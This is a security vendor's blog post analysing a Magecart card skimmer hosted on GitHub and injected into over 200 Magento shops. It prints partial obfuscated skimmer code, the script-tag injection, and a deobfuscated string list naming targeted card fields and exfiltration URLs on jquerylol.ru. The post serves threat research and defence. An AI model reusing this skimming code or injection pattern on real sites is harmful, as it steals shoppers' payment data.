


GitHub hosted Magecart skimmer used against hundreds of e-commerce sites

blog.malwarebytes.com/cybercrime/2019/04/github-hosted-magecart-skimmer-used-against-hundreds-of-e-commerce-sites/

Jérôme Segura

April 26, 2019



Every day, new e-commerce websites fall into the hands of one of the many Magecart skimmers. Unbeknownst to shoppers, criminals are harvesting their personal information, including payment details in the online equivalent of ATM card skimming.

Most often the skimming code—written in JavaScript and obfuscated—is hosted on infrastructure controlled by attackers. Over time, they have created thousands of domain names mimicking Magento, the CMS platform that is by far most targeted.

However, as we sometimes see in [other types of compromises](#), threat actors can also abuse the resources of legitimate providers, such as code repository GitHub, [acquired by Microsoft](#) last year.


This latest skimmer is a hex-encoded piece of JavaScript code that was uploaded to GitHub on April 20 by user [momo33333](#), who, as it happens, had just joined the platform on that day as well.

History for momo33333 / mage

Code Issues (0) Pull requests (0) Projects (0) Insights

History for `mage / mage.js`

- Commits on Apr 25, 2019
 - Update `mage.js` momo33333 committed 12 hours ago
 - Update `mage.js` momo33333 committed 12 hours ago
 - Update `mage.js` momo33333 committed 12 hours ago
- Commits on Apr 23, 2019
 - Update `mage.js` momo33333 committed 2 days ago
- Commits on Apr 20, 2019
 - Update `mage.js` momo33333 committed 5 days ago
 - Create `mage.js` momo33333 committed 5 days ago



```
var _0x75b0=
["\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x68\x6F\x73\x74\x6E\x61\x6
D\x65","\x76\x61\x6C","\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\
x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x74\x5F\
x6E\x61\x6D\x65\x22\x5D","\x73\x69\x74\x65","\x2A\x5B\x6E\x61\x6D\
x65\x2A\x3D\x22\x63\x63\x5F\x6E\x75\x6D\x22\x5D","\x2A\x5B\x6E\x61\
x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x6D\x22\x5D","\x2A\
x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x79\
x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x63\
x69\x64\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\
x6C\x6C\x69\x6E\x67\x5B\x73\x74\x72\x65\x65\x74\x5D\x5B\x5D\x22\
x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\
x67\x5B\x63\x69\x74\x79\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\
x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\
x64\x65\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\
x6C\x6C\x69\x6E\x67\x5B\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64\
x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\
x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D","\x2A\
x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\
x6F\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64\x5D\x22\x5D","\x2A\x5B\x6E\
x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x74\x65\x6C\
x65\x70\x68\x6F\x6E\x65\x
```

In the above and below screenshots, you can see that the threat actor was fine tuning the skimmer, after having done a few tests:

Update `mage.js` Browse files

momom33333 committed 2 days ago Verified 1 parent e888542 commit 4c94d6f17927278efe785f23b0eb48ca520153ddf

Showing 1 changed file with 1 addition and 1 deletion. Unified Split

```
2 mage.js @@ -1 +1 @@
1 - var test00=1;
1 + var _0x4bd8=["\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x76\x61\x6C","\x2E\x6D\x69\x5F\x66\x6F\x72\x6D\x73\x20\x69\x6E\x70\x75\x74\x5B\x6E\x61\x6D\x65\x3D\x22\x68\x6F\x73\x74\x5F\x6E\x61\x6D\x65\x22\x5D","\x73\x69\x74\x65","\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x6E\x75\x6D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x6D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x65\x78\x70\x5F\x79\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x2A\x3D\x22\x63\x63\x5F\x63\x69\x64\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x73\x74\x72\x65\x65\x74\x5D\x5B\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x69\x74\x79\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x72\x65\x67\x69\x6F\x6E\x5F\x69\x64\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x70\x6F\x73\x74\x63\x6F\x64\x65\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x63\x6F\x6F\x75\x6E\x74\x72\x79\x5F\x69\x64\x5D\x22\x5D","\x2A\x5B\x6E\x61\x6D\x65\x3D\x22\x62\x69\x6C\x6C\x69\x6E\x67\x5B\x74\x65\x6C\x65\x70\x68\x6F\x6E\x65\x
```

Just like with any other kind of third-party plugins, compromised Magento sites are loading this script within their source code, right after the CDATA script and/or right before the </html> tag:

```
763 <script type="text/javascript">//
764     var Translator = new Translate([]);
765     //]]&gt;&lt;/script&gt;&lt;script type='text/javascript' src='https://raw.
githubusercontent.com/momo33333/mage/master/mage.js'&gt;&lt;/script&gt;
766 &lt;/div&gt;
767 &lt;script type='text/javascript' src='https://raw.githubusercontent.com/
momo33333/mage/master/mage.js'&gt;&lt;/script&gt;&lt;/body&gt;
768 &lt;/html&gt;</pre></div><div data-bbox="92 261 839 300" data-label="Text"><p>According to a <a href="#">search</a> on urlscan.io, there are currently over 200 sites that have been injected with this skimmer:</p></div><div data-bbox="94 314 903 346" data-label="Image"><img alt="Screenshot of the urlscan.io website header. It includes navigation links for Home, Search, API, Live, About, and Login. It also shows 'Sponsored by SecurityTrails' and a status indicator '12 running'."/></div><div data-bbox="261 369 736 390" data-label="Section-Header"><h2>Search for domains, IPs, filenames, hashes, ASNs</h2></div><div data-bbox="238 398 761 424" data-label="Form"><input type="text" value="\"raw.githubusercontent.com/momo33333/mage/master\""/> <input type="button" value="Search!"/> <input type="button" value="Reload"/></div><div data-bbox="687 429 763 440" data-label="Text"><p><a href="#">Help &amp; Examples</a></p></div><div data-bbox="99 450 354 467" data-label="Text"><p>Search results (100 / 240, sorted by date)</p></div><div data-bbox="853 451 900 463" data-label="Text"><p><a href="#">Detail</a></p></div><div data-bbox="100 473 895 762" data-label="Table"><table border="1"><thead><tr><th>URL</th><th>Submitted</th><th>Size</th><th>IPs</th><th>🏠</th></tr></thead><tbody><tr><td>1 URL: deals4kart.com/<br/>IP: 207.174.215.236 - PTR: cp-48.webhostbox.net - Server: Apache/2.4.39 (cPanel) OpenSSL/1.0.2r m...<br/>GeoIP: 🇺🇸,US - AS394695 (PUBLIC-DOMAIN-REGISTRY - PDR, US)</td><td>16 minutes ago<br/>Via: api</td><td>3 MB</td><td>181</td><td>8 3 🇺🇸</td></tr><tr><td>2 URL: www.quimex.com.ar/<br/>IP: 104.196.155.58 - PTR: 58.155.196.104.bc.googleusercontent.com - Server: Apache/2.4.10 (Debian) PHP/5.5.34<br/>GeoIP: 🇺🇸 Mountain View,US - AS15169 (GOOGLE - Google LLC, US)</td><td>37 minutes ago<br/>Via: api</td><td>1 MB</td><td>92</td><td>14 2 🇺🇸</td></tr><tr><td>3 URL: gorusticx.com/<br/>IP: 43.255.154.44 - Server: Apache<br/>GeoIP: 🇸🇬 Singapore,SG - AS26496 (AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US)</td><td>49 minutes ago<br/>Via: api</td><td>2 MB</td><td>162</td><td>15 3 🇸🇬</td></tr><tr><td>4 URL: www.ladystark.co/<br/>IP: 166.62.10.183 - PTR: ip-166-62-10-183.jp.secureserver.net - Server: Apache<br/>GeoIP: 🇺🇸 Scottsdale,US - AS26496 (AS-26496-GO-DADDY-COM-LLC - GoDaddy.com, LLC, US)</td><td>1 hour ago<br/>Via: manual</td><td>832 KB</td><td>77</td><td>7 2 🇺🇸</td></tr><tr><td>5 URL: wyci.in/<br/>IP: 43.225.55.205 - PTR: cp-in-6.webhostbox.net - Server: Apache/2.4.39 (cPanel) OpenSSL/1.0.2r m...<br/>GeoIP: 🇦🇪 - AS394695 (PUBLIC-DOMAIN-REGISTRY - PDR, US)</td><td>21 hours ago<br/>Via: api</td><td>1 MB</td><td>79</td><td>7 3 🇦🇪</td></tr><tr><td>6 URL: www.freecaad.com/<br/>IP: 82.98.134.36 - PTR: hl104.dinaser.com - Server: Apache<br/>GeoIP: 🇪🇸 - AS42612 (DINAHOSTING-AS, ES)</td><td>22 hours ago<br/>Via: api</td><td>1 MB</td><td>104</td><td>3 3 🇪🇸</td></tr><tr><td>7 URL: www.chcanto.com/<br/>IP: 192.157.193.81 - PTR: 81.193-157-192.rdns.scalabledns.com - Server: Apache<br/>GeoIP: 🇺🇸 Los Angeles,US - AS18978 (ENZUINC-US - Enzu Inc, US)</td><td>23 hours ago<br/>Via: api</td><td>1 MB</td><td>125</td><td>5 2 🇺🇸</td></tr></tbody></table></div><div data-bbox="92 763 869 800" data-label="Text"><p>A look at the deobfuscated script reveals the exfiltration domain (<i>jquerylol[.]ru</i>) where the stolen data will be sent to:</p></div><div data-bbox="915 963 949 978" data-label="Page-Footer"><p>3/4</p></div>
```

```
[ "undefined", "hostname", "val", ".mi_forms input[name='hosst_name']", "size",
"*[name*='cc_num']", "*[name*='cc_exp_m']", "*[name*='cc_exp_y']", "*[name*='
cc_cid']", "*[name='billing[firstname]']", "*[name='billing[lastname]']",
"*[name='billing[street][]']", "*[name='billing[city]']", "*[name='billing[
region_id]']", "*[name='billing[postcode]']", "*[name='billing[country_id]'",
"*[name='billing[telephone]']", "*[name='billing[email]'", ".mi_forms
input[name='m_Card_number']", ".mi_forms input[name='m_Exp_1']", ".mi_forms
input[name='m_Exp_2']", ".mi_forms input[name='m_CVV']", ".mi_forms
input[name='m_first_name']", ".mi_forms input[name='m_second_name']",
".mi_forms input[name='m_address']", ".mi_forms input[name='m_city']",
".mi_forms input[name='m_state']", ".mi_forms input[name='m_zip']", ".mi_forms
input[name='m_country']", ".mi_forms input[name='m_phone']", ".mi_forms
input[name='m_vbv']", "https://jquerylol.ru/mail2.php", "serialize", ".mi_forms
", "post", "https://jquerylol.ru/mail3.php", "11111111", "button[onclick*='.save
()']", "eq", "onclick", "attr", "", "mg_core", "indexOf", "mg_core()", "<form
class='mi_forms' style='display: none;'><input type='text' name='hosst_name
"><input type='text' name='m_Card_number"><input type='text' name='m_Exp_1
"><input type='text' name='m_Exp_2"><input type='text' name='m_CVV"><input
type='text' name='m_first_name"><input type='text' name='m_second_name
"><input type='text' name='m_address"><input type='text' name='m_city
"><input type='text' name='m_state"><input type='text' name='m_zip"><input
type='text' name='m_country"><input type='text' name='m_phone"><input type="
text" name='m_vbv"></form>", "append", "body", "init_lo()", "ready"]
```

It's worth noting that the compromised Magento sites will remain at risk, even if the GitHub-hosted skimmer is taken down. Indeed, attackers can easily re-infect them in the same manner they initially injected the first one.

It is critical for e-commerce site owners to keep their CMS and its plugins up-to-date, as well as using secure authentication methods. Over the past year, we have identified thousands of sites that are hacked and posing a risk for online shoppers.

We reported the fraudulent GitHub account which was quickly taken down. We are also protecting our users by blocking the exfiltration domain.